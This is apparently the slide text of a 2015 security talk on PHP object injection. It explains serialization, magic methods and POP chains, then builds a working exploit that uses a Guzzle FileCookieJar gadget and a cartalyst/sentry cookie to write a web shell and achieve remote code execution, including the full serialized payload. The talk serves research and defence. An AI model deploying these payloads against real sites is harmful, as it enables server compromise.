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PHASE 1 - THEORY
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Objects in PHP

Objects in code can represent anything

An object is defined by a class

 e.g. a Hacker object is defined by the Hacker class
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Hacker class

class Hacker

{

private $beard_length;

public function __construct(){

$this->beard_length = 0;

}

public function grow_beard($grow_length){

$this->beard_length += $grow_length;

}

}
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Hacker objects

<?php

require("./Hacker.php");

$hyprwired = new Hacker();

.
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Hacker objects

<?php

require("./Hacker.php");

$hyprwired = new Hacker();

$hyprwired->grow_beard(0); // Maybe one day

.
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Hacker objects

<?php

require("./Hacker.php");

$hyprwired = new Hacker();

$hyprwired->grow_beard(0); // Maybe one day

$metlstorm = new Hacker();

.
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Hacker objects
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Hacker objects

<?php

require("./Hacker.php");

$hyprwired = new Hacker();

$hyprwired->grow_beard(0);

$metlstorm = new Hacker();

$metlstorm->grow_beard(9001);
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What is (de)serialization used for?

 (De)serialization allows for easy transfer of objects.
 e.g.

 serialize() an object to a string

 write string to a file

 unserialize() file’s contents back into an object

Deserialization of data is not necessarily dangerous

Deserialization of user controllable data is
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PHP Serialized Format

 boolean

b:<value>;

b:1; // True

b:0; // False

 integer

i:<value>;

i:1; // 1

i:-3; // -3

 double

d:<value>;

d:1.2345600000000001;  // 1.23456

 NULL

N; // NULL

 string

s:<length>:"<value>";

s:8:"INSOMNIA";  // "INSOMNIA"

 array

a:<length>:{key, value pairs};

a:2:{s:4:"key1";s:6:"value1";

s:4:"key2";s:6:"value2";}

// array("key1" => "value1",

"key2" => "value2");
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Serialization Example – Class Definition

 Foobar.php 

<?php

class Foobar{

private $state = 'Inactive';

public function set_state($state){

$this->state = $state;

}

public function get_state(){

return $this->state;

}

}
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Serialization Example – Class Definition

 Foobar.php 

 Example class “Foobar”

<?php

class Foobar{

private $state = 'Inactive';

public function set_state($state){

$this->state = $state;

}

public function get_state(){

return $this->state;

}

}
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Serialization Example – Class Definition

 Foobar.php 

 Example class “Foobar”

 Simple class that has a “state”
property

<?php

class Foobar{

private $state = 'Inactive';

public function set_state($state){

$this->state = $state;

}

public function get_state(){

return $this->state;

}

}
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Serialization Example - serialize()

 serialize.php 

 New Foobar object is created

 Property is set, object serialized

 Serialized value is saved to file

<?php

require('./Foobar.php');

$object = new Foobar();

$object->set_state('Active');

$data = serialize($object);

file_put_contents('./serialized.txt', 
$data);

?>
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Serialization Example - Serialized Object Format

$ cat serialized.txt

O:6:"Foobar":1:{s:13:"Foobarstate";s:6:"Active";}

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
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Serialization Example - Serialized Object Format

$ cat serialized.txt

O:6:"Foobar":1:{s:13:"Foobarstate";s:6:"Active";}

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};

 O:6:"Foobar"

 Object, 6 character long name (“Foobar”)
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Serialization Example - Serialized Object Format

$ cat serialized.txt

O:6:"Foobar":1:{s:13:"Foobarstate";s:6:"Active";}

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};

 O:6:"Foobar"

 Object, 6 character long name (“Foobar”)

 1 

 Object has 1 property
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Serialization Example - Serialized Object Format

$ cat serialized.txt

O:6:"Foobar":1:{s:13:"Foobarstate";s:6:"Active";}

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};

 O:6:"Foobar"

 Object, 6 character long name (“Foobar”)

 1 

 Object has 1 property

 s:13:"Foobarstate";s:6:"Active";

 Object’s properties; “state” with value “Active”
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Serialization Example - Serialized Object Format

$ cat serialized.txt

O:6:"Foobar":1:{s:13:"Foobarstate";s:6:"Active";}

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};

 O:6:"Foobar"

 Object, 6 character long name (“Foobar”)

 1 

 Object has 1 property

 s:13:"Foobarstate";s:6:"Active";

 Object’s properties; “state” with value “Active”

16/12/2015 Practical PHP Object Injection

Wait a minute… 

“Foobarstate” is only 

11 characters long?



Serialization Example - Serialized Object Format
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Serialization Example - unserialize()

 unserialize.php 

 File containing serialized object read

 Object created from stored value

<?php

require('./Foobar.php');

$filename = './serialized.txt';

$file_contents = file_get_contents($filename);

$object = unserialize($file_contents);

var_dump($object->get_state());

var_dump($object);

?>
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Magic Methods - Part I

PHP classes have a specific subset of “magic methods”:
 __construct(), __destruct()

 __call(), __callStatic()

 __get(), __set()

 __isset(), __unset()

 __sleep(), __wakeup()

 __toString()

 __invoke()

 __set_state()

 __clone()

 __debugInfo()
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Magic Methods - Part I

PHP classes have a specific subset of “magic methods”:
 __construct(), __destruct()

 __call(), __callStatic()

 __get(), __set()

 __isset(), __unset()

 __sleep(), __wakeup()

 __toString()

 __invoke()

 __set_state()

 __clone()

 __debugInfo()
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For this talk, we’ll 

focus on these two.



Magic Methods - Part II

 __wakeup()

"unserialize() checks for the presence of a function with the magic 
name __wakeup(). If present, this function can reconstruct any 
resources that the object may have.“

 __destruct()

"The destructor method will be called as soon as there are no other 
references to a particular object, or in any order during the shutdown 
sequence.“
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PHP Object Injection 101

Stefan Esser first presented in 2009 and 2010
 “Shocking News in PHP Exploitation”
 “Utilizing Code Reuse/ROP in PHP Application Exploits”

Makes use of POP (Property-oriented Programming) chains
 Similar to ROP; reuse existing code (POP gadgets)

Vulnerability introduced using unsafe deserialization methods 
on untrusted input:
 unserialize(<user_input>)
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PHP Object Injection - Examples

 CVE-2012-0911: Tiki Wiki unserialize() PHP Code Execution

 CVE-2012-5692: Invision IP.Board unserialize() PHP Code Execution

 CVE-2014-1691: Horde Framework Unserialize PHP Code Execution

 CVE-2014-8791: Tuleap PHP Unserialize Code Execution

 CVE-2015-2171: Slim Framework PHP Object Injection

 CVE-2015-7808: vBulletin 5 Unserialize Code Execution

 MWR Labs: Laravel -> Cookie Forgery -> Decryption -> RCE
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Magic Methods and POP Chains

 POP = Property Oriented Programming
 Name is from the fact that adversary controls all properties of an object that can be used during 

deserialization

 Just like ROP, start with initial gadgets, which can then call other gadgets
 In PHP Object Injection, the initial gadgets are magic methods such as __wakeup() or __destruct()

 Useful POP chain methods:
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 Command Execution

 exec()

 passthru()

 popen()

 system()

 File Access

 file_put_contents()

 file_get_contents()

 unlink()



Simple Class POP Chain
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<?php

class DemoPopChain{

private $data = “bar\n”;

private $filename = ‘/tmp/foo’;

public function __wakeup(){

$this->save($this->filename);

}

public function save($filename){

file_put_contents($filename, $this->data);

}

?>



Simple Class POP Chain
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<?php

class DemoPopChain{

private $data = “bar\n”;

private $filename = ‘/tmp/foo’;

public function __wakeup(){

$this->save($this->filename);

}

public function save($filename){

file_put_contents($filename, $this->data);

}

?>

__wakeup() magic 

method in the 
DemoPopChain class



Simple Class POP Chain
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<?php

class DemoPopChain{

private $data = “bar\n”;

private $filename = ‘/tmp/foo’;

public function __wakeup(){

$this->save($this->filename);

}

public function save($filename){

file_put_contents($filename, $this->data);

}

?>

Calls 
DemoPopChain-

>save() method, 

with the filename

property



Simple Class POP Chain
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<?php

class DemoPopChain{

private $data = “bar\n”;

private $filename = ‘/tmp/foo’;

public function __wakeup(){

$this->save($this->filename);

}

public function save($filename){

file_put_contents($filename, $this->data);

}

?>

DemoPopChain-

>save() method 

writes contents of 
the data property to 

a file.



Simple Class POP Chain
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poc.php:

<?php

require(‘./DemoPopChain.php’);

$foo = new DemoPopChain();

file_put_contents(‘./serialized.txt’, serialize($foo));

?>

unserialize.php:

<?php

require(‘./DemoPopChain.php’);

unserialize(file_get_contents(‘./serialized.txt));

?>

Can we do anything 

with 
serialized.txt?



Magic Methods and POP Chains - DEMO

16/12/2015 Practical PHP Object Injection

1. Update the serialized.txt file to contain the new filename and contents:

2. Ensure the length of the properties are correct:

3. Unserialize the payload; the file and contents will be created when POP chain fires:



Autoloading

 PHP can only unserialize() classes that are defined

 Traditional PHP requires the application to import all classes in each 
file
 Means a long list of include() or require() functions at the start of each 

PHP file to bring in the required classes

 Autoloading saves on this pain

 Developers can use autoloading methods to define where to look for 
class definitions
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Composer

 Composer provides package management for 
PHP web applications

 Widely used

 Autoloads all classes for libraries used with an 
application (that support autoloading) for ease of 
use with development

 The same ease of use with development means all 
classes available via Composer are available to 
use during unserialize() exploitation
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Autoloading + Composer

 Composer libraries are stored under the “vendor” directory

 Composer autoloading is as simple as one line in a PHP file:

require __DIR__ . '/vendor/autoload.php';

 This can autoload many classes, which may have potentially useful POP gadgets:
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Side Note - Memory Corruption

 unserialize() doesn’t always have to be used with PHP 
object injection to be exploitable

Can be used with memory corruption
 CVE-2014-8142 [UAF in unserialize()]

 CVE-2015-0231 [UAF in unserialize()]

 CVE-2015-0273 [UAF in unserialize() with DateTime*]

Not what this talk is focused on, but worth bearing in mind
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PHASE 2 – BUG HUNTING
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Packagist + Composer
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Packagist (packagist.org) is a 
repository of PHP packages

By default, Composer 
downloads packages from 
Packagist



Technique

 Finding vulnerable libraries:
 Harness RIPS and/or grep to check for object injection (unserialize)

 Finding useful POP chains:
 RIPS can check for gadgets, but doesn’t go beyond finding magic methods
 Python + grep + manual analysis works for me
 Want to build fully automated POP gadget finder/builder

 Basic Idea
1. Grep for __wakeup() and __destruct() across popular packages
2. Starting with the most popular libraries, for each class with a potentially useful gadget, 

grep for other useful methods
3. Manually verify and build the POP chain
4. Deploy application with a vulnerable method and POP gadget class autoloaded, test 

exploit
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Vulnerable libraries discovered

Turns out authentication libraries are easy wins…

 cartalyst/sentry

 “PHP 5.3+ Fully-featured Authentication & Authorization System”

 cartalyst/sentinel

 “PHP 5.4+ Fully-featured Authentication & Authorization System”
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Sample of libraries with useful POP Gadgets

 Arbitrary Write
 monolog/monolog (<1.11.0)
 guzzlehttp/guzzle

 guzzle/guzzle

 Arbitrary Delete
 swiftmailer/swiftmailer

 Potential Denial of Service (proc_terminate())
 symfony/process

 A lot more __destruct() to choose from than __wakeup()
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PHASE 3 - EXPLOITATION
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Exploit Building Process - Overview

1. Find vulnerable application

2. Find POP gadgets in used libraries

3. Create composer.json file with POP gadget library on a VM

4. On VM, install library via Composer

5. Build working payload object on VM, serialize it

6. Unserialize payload on VM to test

7. Supply serialized payload object to vulnerable web application
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Example

Vulnerable Application:
 cartalyst/sentry

POP Gadget Library:
 guzzlehttp/guzzle

 ~6,950,000 installs

 ~#30 Packagist.org
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Example – Step 1: Find vulnerable application

 /src/Cartalyst/Sentry/Cookies/NativeCookie.php

…

public function getCookie()

{

…

return unserialize($_COOKIE[$this->getKey()]);

…

}

}
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Example - Step 2: Find POP gadgets in used libraries

Next, find useful POP gadgets in libraries used by application.

 composer.json a good place to look for libraries in use:

{

"require": {

"cartalyst/sentry": "2.1.5",

"illuminate/database": "4.0.*",

"guzzlehttp/guzzle": "6.0.2",

"swiftmailer/swiftmailer": "5.4.1"

}

}
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Example - Step 2: Find POP gadgets in used libraries

1. Download Git repo at version indicated by Packagist
(e.g. commit a8dfeff00eb84616a17fea7a4d72af35e750410f)

2. Grep for __destruct:

 /guzzle/src/Cookie/FileCookieJar.php

namespace GuzzleHttp\Cookie;

class FileCookieJar extends CookieJar

…

public function __destruct()

{

$this->save($this->filename);

}

…
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Example - Step 2: Find POP gadgets in used libraries

1. Download Git repo at version indicated by Packagist
(e.g. commit a8dfeff00eb84616a17fea7a4d72af35e750410f)

2. Grep for __destruct:

 /guzzle/src/Cookie/FileCookieJar.php

namespace GuzzleHttp\Cookie;

class FileCookieJar extends CookieJar

…

public function __destruct()

{

$this->save($this->filename);

}

…
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__destruct()

magic method calls 
the save() method 

on the 
FileCookieJar

class.



Example - Step 2: Find POP gadgets in used libraries

1. Download Git repo at version indicated by Packagist
(e.g. commit a8dfeff00eb84616a17fea7a4d72af35e750410f)

2. Grep for __destruct:

 /guzzle/src/Cookie/FileCookieJar.php

namespace GuzzleHttp\Cookie;

class FileCookieJar extends CookieJar

…

public function __destruct()

{

$this->save($this->filename);

}

…
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Namespace will be 

needed later.



Example - Step 2: Find POP gadgets in used libraries

Digging the FileCookieJar->save() method…

public function save($filename)

{

$json = [];

foreach ($this as $cookie) {

/** @var SetCookie $cookie */

if ($cookie->getExpires() && !$cookie->getDiscard()) {

$json[] = $cookie->toArray();

}

}

if (false === file_put_contents($filename, json_encode($json))) {

throw new \RuntimeException("Unable to save file {$filename}");

}

}
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Example - Step 2: Find POP gadgets in used libraries

Digging the FileCookieJar->save() method…

public function save($filename)

{

$json = [];

foreach ($this as $cookie) {

/** @var SetCookie $cookie */

if ($cookie->getExpires() && !$cookie->getDiscard()) {

$json[] = $cookie->toArray();

}

}

if (false === file_put_contents($filename, json_encode($json))) {

throw new \RuntimeException("Unable to save file {$filename}");

}

}
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Access to a method 

that

writes output to a file



Example - Step 2: Find POP gadgets in used libraries

Digging the FileCookieJar->save() method…

public function save($filename)

{

$json = [];

foreach ($this as $cookie) {

/** @var SetCookie $cookie */

if ($cookie->getExpires() && !$cookie->getDiscard()) {

$json[] = $cookie->toArray();

}

}

if (false === file_put_contents($filename, json_encode($json))) {

throw new \RuntimeException("Unable to save file {$filename}");

}

}
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Control of the value 

of the filename 

through the call to 
the save() method, 

as it is a property of 

the object:

$this-

>save($this-

>filename);



Example - Step 2: Find POP gadgets in used libraries

Digging the FileCookieJar->save() method…

public function save($filename)

{

$json = [];

foreach ($this as $cookie) {

/** @var SetCookie $cookie */

if ($cookie->getExpires() && !$cookie->getDiscard()) {

$json[] = $cookie->toArray();

}

}

if (false === file_put_contents($filename, json_encode($json))) {

throw new \RuntimeException("Unable to save file {$filename}");

}

}
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The contents of the 

file come from 
$json.



Example - Step 2: Find POP gadgets in used libraries

Digging the FileCookieJar->save() method…

public function save($filename)

{

$json = [];

foreach ($this as $cookie) {

/** @var SetCookie $cookie */

if ($cookie->getExpires() && !$cookie->getDiscard()) {

$json[] = $cookie->toArray();

}

}

if (false === file_put_contents($filename, json_encode($json))) {

throw new \RuntimeException("Unable to save file {$filename}");

}

}
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The value of $json

comes from 
$cookie-

>toArray(), where 

$cookie is the object 

in question.



Example - Step 2: Find POP gadgets in used libraries

Digging the FileCookieJar->save() method…

public function save($filename)

{

$json = [];

foreach ($this as $cookie) {

/** @var SetCookie $cookie */

if ($cookie->getExpires() && !$cookie->getDiscard()) {

$json[] = $cookie->toArray();

}

}

if (false === file_put_contents($filename, json_encode($json))) {

throw new \RuntimeException("Unable to save file {$filename}");

}

}
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Need to make sure 
that $cookie-

>getExpires() 

returns True, and 

$cookie-

>getDiscard()

returns False.



Example - Step 2: Find POP gadgets in used libraries

Meeting the conditions required? 

 $cookie->getExpires()

 !$cookie->getDiscard()

 $json[] = $cookie->toArray()

These methods all come from the SetCookie class.
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Example - Step 2: Find POP gadgets in used libraries

namespace GuzzleHttp\Cookie;

class SetCookie

…

public function toArray(){

return $this->data;

}    

…

public function getExpires(){

return $this->data['Expires'];

}

…

public function getDiscard(){

return $this->data['Discard'];

}
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All of these are 

straight forward, they 

return data from an 

array property of the 

object.



Example - Step 3: Create composer.json

Create composer.json file with POP gadget library on a VM:

VM composer.json contents:

{

"require": {

"guzzlehttp/guzzle": "6.0.2"

}

}

16/12/2015 Practical PHP Object Injection



Example - Step 4: Install Composer + Libraries

1. Download and install composer:
curl -sS https://getcomposer.org/installer | php

2. Install the dependencies in our composer.json file:

php composer.phar install
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Example - Step 4: Install Composer + Libraries
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Example - Step 5: Build Payload
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<?php

require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Cookie\FileCookieJar;

use GuzzleHttp\Cookie\SetCookie;

$obj = new FileCookieJar('/var/www/html/shell.php');

$payload = '<?php echo system($_POST[\'poc\']); ?>';

$obj->setCookie(new SetCookie([

'Name' => 'foo', 'Value' => 'bar',

'Domain' => $payload,

'Expires' => time()]));

file_put_contents('./built_payload_poc', serialize($obj));



Example - Step 5: Build Payload
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Run it, and obtain the serialized output.

# php build_payload.php

# cat built_payload_poc

O:31:"GuzzleHttp\Cookie\FileCookieJar":3:{s:41:"GuzzleHttp\Co
okie\FileCookieJarfilename";s:23:"/var/www/html/shell.php";s:
36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:1;O:27:"Guzzle
Http\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookieda
ta";a:9:{s:4:"Name";s:3:"foo";s:5:"Value";s:3:"bar";s:6:"Doma
in";s:36:"<?php echo system($_POST['poc']); 
?>";s:4:"Path";s:1:"/";s:7:"Max-
Age";N;s:7:"Expires";i:1450225029;s:6:"Secure";b:0;s:7:"Disca
rd";b:0;s:8:"HttpOnly";b:0;}}}s:39:"GuzzleHttp\Cookie\CookieJ
arstrictMode";N;}



Example - Step 5: Build Payload
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Run it, and obtain the serialized output.

# php build_payload.php

# cat built_payload_poc

O:31:"GuzzleHttp\Cookie\FileCookieJar":3:{s:41:"GuzzleHttp\Co
okie\FileCookieJarfilename";s:23:"/var/www/html/shell.php";s:
36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:1;O:27:"Guzzle
Http\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookieda
ta";a:9:{s:4:"Name";s:3:"foo";s:5:"Value";s:3:"bar";s:6:"Doma
in";s:36:"<?php echo system($_POST['poc']); 
?>";s:4:"Path";s:1:"/";s:7:"Max-
Age";N;s:7:"Expires";i:1450225029;s:6:"Secure";b:0;s:7:"Disca
rd";b:0;s:8:"HttpOnly";b:0;}}}s:39:"GuzzleHttp\Cookie\CookieJ
arstrictMode";N;}

The filename

property and value 

used for exploitation.



Example - Step 5: Build Payload
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Run it, and obtain the serialized output.

# php build_payload.php

# cat built_payload_poc

O:31:"GuzzleHttp\Cookie\FileCookieJar":3:{s:41:"GuzzleHttp\Co
okie\FileCookieJarfilename";s:23:"/var/www/html/shell.php";s:
36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:1;O:27:"Guzzle
Http\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookieda
ta";a:9:{s:4:"Name";s:3:"foo";s:5:"Value";s:3:"bar";s:6:"Doma
in";s:36:"<?php echo system($_POST['poc']); 
?>";s:4:"Path";s:1:"/";s:7:"Max-
Age";N;s:7:"Expires";i:1450225029;s:6:"Secure";b:0;s:7:"Disca
rd";b:0;s:8:"HttpOnly";b:0;}}}s:39:"GuzzleHttp\Cookie\CookieJ
arstrictMode";N;}

The data property 

and value used for 

exploitation.



Example - Step 6: Unserialize payload to test
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Now that a payload has been generated, it can be tested in the VM.

 Create a PHP file that reads the payload from disc, and unserializes it. 
When this file is executed, the POP gadget chain should fire, and the 
target file (“/var/www/html/shell.php”) should be written.

test_unserialize.php

<?php

require __DIR__ . '/vendor/autoload.php';

unserialize(file_get_contents("./built_payload_poc"));



Example - Step 6: Unserialize payload to test
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Testing shows the file is written:



Example - Step 7: Fire serialized payload at 
vulnerable app
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Say there’s an application that implements the 
cartalyst/sentry framework…

 LIVE FIRE CYBER EXERCISE INCOMING



LIVE FIRE CYBER EXERCISE
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1. Application has a “secure” login form.



LIVE FIRE CYBER EXERCISE
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2. Authenticate with the application:



LIVE FIRE CYBER EXERCISE
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3. Application will set an authentication cookie:



LIVE FIRE CYBER EXERCISE
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4. Observe that the application makes use of this cookie; without it, we’re 
not authenticated:



LIVE FIRE CYBER EXERCISE
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5. Observe shell.php doesn’t yet exist:



LIVE FIRE CYBER EXERCISE
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6. Replace the cookie value’s object with the malicious object, and send 
request. POP chain will fire upon deserialization:



LIVE FIRE CYBER EXERCISE
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7. shell.php now exists, and remote code execution achieved:



Exploit Building Process - Tips
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 Try and confirm the application is calling unserialize() on 
supplied input
 500 errors etc

 Generate payloads with array() if required:
 array($obj);

 Take care with payload encoding:
 e.g. If the final payload needs to survive json_encode()use single quotes, 

rather than doubles

 Favour more popular libraries, and __wakeup()



Mitigations

Never use unserialize() on anything that can be controlled 
by a user

Better methods exist to encode/decode data:
 json_encode()

 json_decode()
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PHASE 4 - !TODO.TXT
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Future Plans

 Build fully automated POP gadget finder/generator
 mona_php.py?

 Fully automate the process
1. Find object injection during pentesting/source code audit
2. Supply known/likely autoloaded classes to POP gadget generator
3. Receive available POP gadget chain
4. Send POP gadget chain to the application through vulnerable input
5. ???
6. Profit

 PHP 7 POP chains in the stdlib?

 PHP 7 unserialize() has an added  $options parameter
 Surely this can’t be bypassed?
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Academic Research

Research from Ruhr-University Bochum, 
Germany last year for just this problem

 “Automated POP Chain Generation”

Detailed method for doing this; 
apparently implemented in upcoming 
RIPS
 RIPS rewrite not released yet (latest is still 

0.55)
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